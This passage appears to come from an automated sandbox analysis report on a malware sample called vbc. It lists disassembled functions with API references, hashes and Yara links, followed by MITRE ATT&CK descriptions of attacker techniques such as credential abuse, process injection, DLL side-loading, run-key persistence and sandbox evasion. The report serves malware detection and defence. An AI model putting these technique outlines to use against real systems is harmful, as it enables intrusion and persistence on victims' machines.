Instruction Fuzzy Hash: C0B124729002459FDB119F28C8827AFBBF5EF55342F14426BEC45AB343D2388D19CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00462D1C Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00462DE3
___AdjustPointer.LIBCMT ref: 00462E06
___AdjustPointer.LIBCMT ref: 00462EA2

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 1db9a5c3cb4bdc232c9606874f1046075d1d21094d51237a676ab0be40a0c4d2
Instruction ID: 85c8a25253f1dd3e5851944b7adc50e56c1a559af8798698f31d78ea614ffdf2
Opcode Fuzzy Hash: 1db9a5c3cb4bdc232c9606874f1046075d1d21094d51237a676ab0be40a0c4d2
Instruction Fuzzy Hash: EC510372601A02BFEB298F11CA41BBA73A4EF00704F14443FE80197291F7BAEC51C75A

Uniqueness

Uniqueness Score: -1.00%

Function 0045DB8D Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cc7a60ddce98522a281aa3695ce57af304d9c15a72dc26c10891cef846c55d3
Instruction ID: 944b4c653c013304dd087810a5787f5c6d455c4f6a89923d065156d10770f530
Opcode Fuzzy Hash: 4cc7a60ddce98522a281aa3695ce57af304d9c15a72dc26c10891cef846c55d3
Instruction Fuzzy Hash: 5341D671E00608BFD7349F79C841B6ABBB9EF88715F10452FF811DB382E6B999498784

Uniqueness

Uniqueness Score: -1.00%

Function 00451835 Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00451905
_free.LIBCMT ref: 0045192E
SetEndOfFile.KERNEL32(00000000,?,?,?,?,?,?,?,0046ECA8,0000000C,00451817,?,?), ref: 00451960
GetLastError.KERNEL32(?,?,?,?,0046ECA8,0000000C,00451817,?,?), ref: 0045197C

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: f4889244ff56e9200423c78090b60520d739537c27f06794e1db2ef76755a83a
Instruction ID: 56ccb92efb62290e12518d74fda372ac44559eca6bf0df8cc1d35fc859f2df7f
Opcode Fuzzy Hash: f4889244ff56e9200423c78090b60520d739537c27f06794e1db2ef76755a83a
Instruction Fuzzy Hash: 6B412876900205ABDB216BA68C46B8E37A5AF45366F14055BFC14E72B3D77CC808C769

Uniqueness

Uniqueness Score: -1.00%

Function 004583AF Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00453726,?,?,?,?,004014D3), ref: 004583B4
_free.LIBCMT ref: 00458411
_free.LIBCMT ref: 00458447
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00453726,?,?,?,?,004014D3), ref: 00458452

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 9944e5bd9dc30596580489e9668b86f53f4d5daf0a76d871b6ce1fcc3fdfa081
Instruction ID: e283a402cd81256332f0fdba789a8111e3cec0a52178620bfb563dbc10f4e794
Opcode Fuzzy Hash: 9944e5bd9dc30596580489e9668b86f53f4d5daf0a76d871b6ce1fcc3fdfa081
Instruction Fuzzy Hash: F5110A362041017BC6006BB6ACC5D6B25999BC17BFB25013FFD14A22D3FE6D8C0D515E

Uniqueness

Uniqueness Score: -1.00%

Function 00458506 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,004522AE,00459318,?,?,004536ED,?), ref: 0045850B
_free.LIBCMT ref: 00458568
_free.LIBCMT ref: 0045859E
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,004522AE,00459318,?,?,004536ED,?), ref: 004585A9

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: cf809d825bb0e87d435d0a9324cc7c57b5acac4056944309eebdb268a3237774
Instruction ID: 05af0fb1e9d09ad34c5f12c6a052eb9af842b9423b02bb2c4e8f97cd1697fbc7
Opcode Fuzzy Hash: cf809d825bb0e87d435d0a9324cc7c57b5acac4056944309eebdb268a3237774
Instruction Fuzzy Hash: E6112C362041043BC6006BBA6CC2D6B329997C13BBB21023FFD14A22D3FD2D8D0D911E

Uniqueness

Uniqueness Score: -1.00%

Function 0046395C Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000010,?,00000000,00000000,00000010,?,00461493,00000010,00000001,00000010,00000010,?,0045BC96,?,0046ED28,00000010), ref: 00463973
GetLastError.KERNEL32(?,00461493,00000010,00000001,00000010,00000010,?,0045BC96,?,0046ED28,00000010,?,00000010,?,0045B72A,0045334D), ref: 0046397F

Part of subcall function 004639D0: CloseHandle.KERNEL32(FFFFFFFE,0046398F,?,00461493,00000010,00000001,00000010,00000010,?,0045BC96,?,0046ED28,00000010,?,00000010), ref: 004639E0

___initconout.LIBCMT ref: 0046398F

Part of subcall function 004639B1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0046394D,00461480,00000010,?,0045BC96,?,0046ED28,00000010,?), ref: 004639C4

WriteConsoleW.KERNEL32(00000010,?,00000000,00000000,?,00461493,00000010,00000001,00000010,00000010,?,0045BC96,?,0046ED28,00000010,?), ref: 004639A4

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 833712457698fe690c7a153ace126dbb3a4851a7edc05f9d949698dec2eda088
Instruction ID: 8cf7aa87f2ffe5b39515eab3a269abf0bf4ca84993c8dc146b757f5c9ae97bed
Opcode Fuzzy Hash: 833712457698fe690c7a153ace126dbb3a4851a7edc05f9d949698dec2eda088
Instruction Fuzzy Hash: 06F01236500159BBCF121F96DC04A9A3F67EB44761F004061FA1895120E672C9209F9B

Uniqueness

Uniqueness Score: -1.00%

Function 0044EDF7 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0044EE00

Part of subcall function 004592F2: RtlFreeHeap.NTDLL(00000000,00000000,?,004536ED,?), ref: 00459308
Part of subcall function 004592F2: GetLastError.KERNEL32(?,?,004536ED,?), ref: 0045931A

_free.LIBCMT ref: 0044EE13
_free.LIBCMT ref: 0044EE24
_free.LIBCMT ref: 0044EE35

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4b38b9e09d67bfd2503d535d0a6cdc27c372f25375af33f1cdee794d45b879b9
Instruction ID: eac5d0914dc3a0cc9215f5d756ea941cd3e8e65eb9323245c6ac41f631e7d1ca
Opcode Fuzzy Hash: 4b38b9e09d67bfd2503d535d0a6cdc27c372f25375af33f1cdee794d45b879b9
Instruction Fuzzy Hash: 7BE01A70C00921BAD6126F11BC42A093A25EB0570B7C0856AF8084E636CBB90991DF8C

Uniqueness

Uniqueness Score: -1.00%

Function 0045765C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00457663

Strings

0WvE, xrefs: 004576C3, 004576C9

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: H_prolog3_
String ID: 0WvE
API String ID: 2427045233-3343873255
Opcode ID: ae855e2fb2259f4cd4dc040633ce2d6a570f83ce0b1a5faf25a497b1a569bab6
Instruction ID: 1c9f2a89ff3204c3826de0331ed8318761d371f2987ef1505d12c852729e3be0
Opcode Fuzzy Hash: ae855e2fb2259f4cd4dc040633ce2d6a570f83ce0b1a5faf25a497b1a569bab6
Instruction Fuzzy Hash: 1D71F671C082069BDF20AB95E888ABF7675EF09362F14413BEC1067342D77D9C4ACB69

Uniqueness

Uniqueness Score: -1.00%

Function 0044C4F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0044C52F
__IsNonwritableInCurrentImage.LIBCMT ref: 0044C5E3

Strings

csm, xrefs: 0044C5CD

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 4f8ff9eb5eb19e1166f3a4e2b42742774fc71f877a340c3a0e9aa00e100e0b2b
Instruction ID: 7c05b390535c1efc98ac510721220f856d0812bf5f05eb62607b3736afebc96d
Opcode Fuzzy Hash: 4f8ff9eb5eb19e1166f3a4e2b42742774fc71f877a340c3a0e9aa00e100e0b2b
Instruction Fuzzy Hash: E741D934A01218ABDF10DF69C8C0AAE7BB5BF44318F18816BEC145B352D779EE15CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0045BE97 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,00000000,?,00000000,0045B78F,0045334D,00000010,0046ED28,00000000,?,00000010,00000010,0045334D,00000010), ref: 0045BF80
GetLastError.KERNEL32(0045B78F,0045334D,00000010,0046ED28,00000000,?,00000010,00000010,0045334D,00000010,?,00000000,?,004532E5,00000000,0046ED28), ref: 0045BFB0

Strings

(F, xrefs: 0045BED4

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: (F
API String ID: 442123175-3109638091
Opcode ID: 8e03c5e71b097fdf268732323020c3e08cf69d5d6e026a4c283354f0a5246bbd
Instruction ID: 9b960a3ea1cd227edb80293edc99fc8c1af3337278a68d110151dea7e49085de
Opcode Fuzzy Hash: 8e03c5e71b097fdf268732323020c3e08cf69d5d6e026a4c283354f0a5246bbd
Instruction Fuzzy Hash: 4031F431600219AFDB14CF29DC81AEAB3B5EB44305F0440BAE905D7391D734ED84CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00462C85 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00462EFC

Strings

csm, xrefs: 00462F8F
csm, xrefs: 00462F1E

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: a1e364f783003f2c1ae242379b2f0c593fd78719b0632eeceaf1bc20afdc6270
Instruction ID: 55f72610eb353277cc13dc9029f11ced7625f7c65041ad342f73943710d2d6b7
Opcode Fuzzy Hash: a1e364f783003f2c1ae242379b2f0c593fd78719b0632eeceaf1bc20afdc6270
Instruction Fuzzy Hash: C531C531500A15BBCF2A8F50CE0086B7B75FF09315B14455BFC5449221E3BACCA1EB8B

Uniqueness

Uniqueness Score: -1.00%

Function 0045BDAE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,0046ED28,00000010,?,?,0045B77F,0045334D,00000010,0046ED28,00000000,?,00000010), ref: 0045BE58
GetLastError.KERNEL32(?,0045B77F,0045334D,00000010,0046ED28,00000000,?,00000010,00000010,0045334D,00000010,?,00000000,?,004532E5,00000000), ref: 0045BE7E

Strings

(F, xrefs: 0045BDCC

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: (F
API String ID: 442123175-3109638091
Opcode ID: 163c530cdcdfba32703f0839abe6e2ebd6f23ff8b86307f123e1c3c24a092df0
Instruction ID: a55d7561dcaa2b7f1c93f6f8be657d85e556bc9343162fd04feadb4a23df8c45
Opcode Fuzzy Hash: 163c530cdcdfba32703f0839abe6e2ebd6f23ff8b86307f123e1c3c24a092df0
Instruction Fuzzy Hash: B921C331A00218DFCB14CF19CD819E9B3F9EF48305F1444AAEA09D7251D730DD85CA95

Uniqueness

Uniqueness Score: -1.00%

Function 0045BCD3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,0046ED28,00000010,?,?,0045B79F,0045334D,00000010,0046ED28,00000000,?,00000010), ref: 0045BD6F
GetLastError.KERNEL32(?,0045B79F,0045334D,00000010,0046ED28,00000000,?,00000010,00000010,0045334D,00000010,?,00000000,?,004532E5,00000000), ref: 0045BD95

Strings

(F, xrefs: 0045BCF1

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: (F
API String ID: 442123175-3109638091
Opcode ID: a059ce19bf37e7340f4a713cfdd5a51407edb1ad52b3ac098b35726bc101277b
Instruction ID: f2d57abe8c419bff341c603a9c59ffce80564fa9c6de3b5874c86ac522ce98dc
Opcode Fuzzy Hash: a059ce19bf37e7340f4a713cfdd5a51407edb1ad52b3ac098b35726bc101277b
Instruction Fuzzy Hash: 7121B434A002199BCF15CF19CD909E9B7B9EF49306F1444AAE905D7212D734DE4ACFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00402890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 004028ED
lstrcatW.KERNEL32 ref: 00402905

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

Strings

\Last Version, xrefs: 004028F5

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID: \Last Version
API String ID: 1597172325-2633859252
Opcode ID: 02c8ae0a1187717423ccfce1b0b20acf36a85b7644fad1b5d3d64fe3fe529f47
Instruction ID: 0c95f3d8009a384f9a6b5b2f86e0d2807320f59c6964a4836581b6713d950fe7
Opcode Fuzzy Hash: 02c8ae0a1187717423ccfce1b0b20acf36a85b7644fad1b5d3d64fe3fe529f47
Instruction Fuzzy Hash: 2C2128B4A01204DFC700EF68D88696ABBF4FF89314F10487EE988D7350E771A914CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0044C138 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0044C151
___raise_securityfailure.LIBCMT ref: 0044C239

Strings

?o, xrefs: 0044C22A

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: ?o
API String ID: 3761405300-4136201076
Opcode ID: 2bb6e3a72f0d9011c2b4ead4dabe27d8635489dcb7d8b4443b3cf636ce70fca2
Instruction ID: a1702cd5e9959e265fb29529642e98c6fcc02281d69c5007ce7299ee6791f96b
Opcode Fuzzy Hash: 2bb6e3a72f0d9011c2b4ead4dabe27d8635489dcb7d8b4443b3cf636ce70fca2
Instruction Fuzzy Hash: F521EEB8651210DFE708CF69F8966647BE8FB8A714F11513AE50C8A3A1E3B45AC0CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0045EC2C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045B4DF: EnterCriticalSection.KERNEL32(00000010,?,0045B5E6,00000010,0046EF70,00000010,00453470,00000000,?,?,?,00000010,?,0045334D,00000010), ref: 0045B4FA

FlushFileBuffers.KERNEL32(00000000,0046F010,0000000C,0045EC14,3E,?,00000016,00000016,004533E0,?,00000016), ref: 0045EC75
GetLastError.KERNEL32 ref: 0045EC86

Strings

3E, xrefs: 0045ECAD

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: BuffersCriticalEnterErrorFileFlushLastSection
String ID: 3E
API String ID: 4109680722-384582835
Opcode ID: 7d78908a2e749779e42dac20c9f360a85fd0ed04635309fe93b87d7f0d5851b5
Instruction ID: 79cc12b26d56cf7f176c3d98eb4bd74ecae6010a380105c6d5c280ba705af296
Opcode Fuzzy Hash: 7d78908a2e749779e42dac20c9f360a85fd0ed04635309fe93b87d7f0d5851b5
Instruction Fuzzy Hash: 9F014532A002008FC714EFAAE90564D7BE0EF49325F10416FF810DB3D2D7B8D8018B88

Uniqueness

Uniqueness Score: -1.00%

Function 004463A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,?), ref: 004463C0
lstrcatW.KERNEL32(00000000,00000000), ref: 004463D3

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

Strings

ec48478eb02322f7d86623ec, xrefs: 004463C2

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID: ec48478eb02322f7d86623ec
API String ID: 1597172325-1363470560
Opcode ID: a5c08957c6d1447e98539b2fac5e4fcb6366bb9b295fc94c1b52b6d1da942b11
Instruction ID: bddfc2180dd68d5ad31500d747c889593725a82ff383c7cecda3f22ac9711354
Opcode Fuzzy Hash: a5c08957c6d1447e98539b2fac5e4fcb6366bb9b295fc94c1b52b6d1da942b11
Instruction Fuzzy Hash: 81E09BE3A012013BF10066752C47D6F115C8F8176EF08007EFA01D2282FA59DD1542BB

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
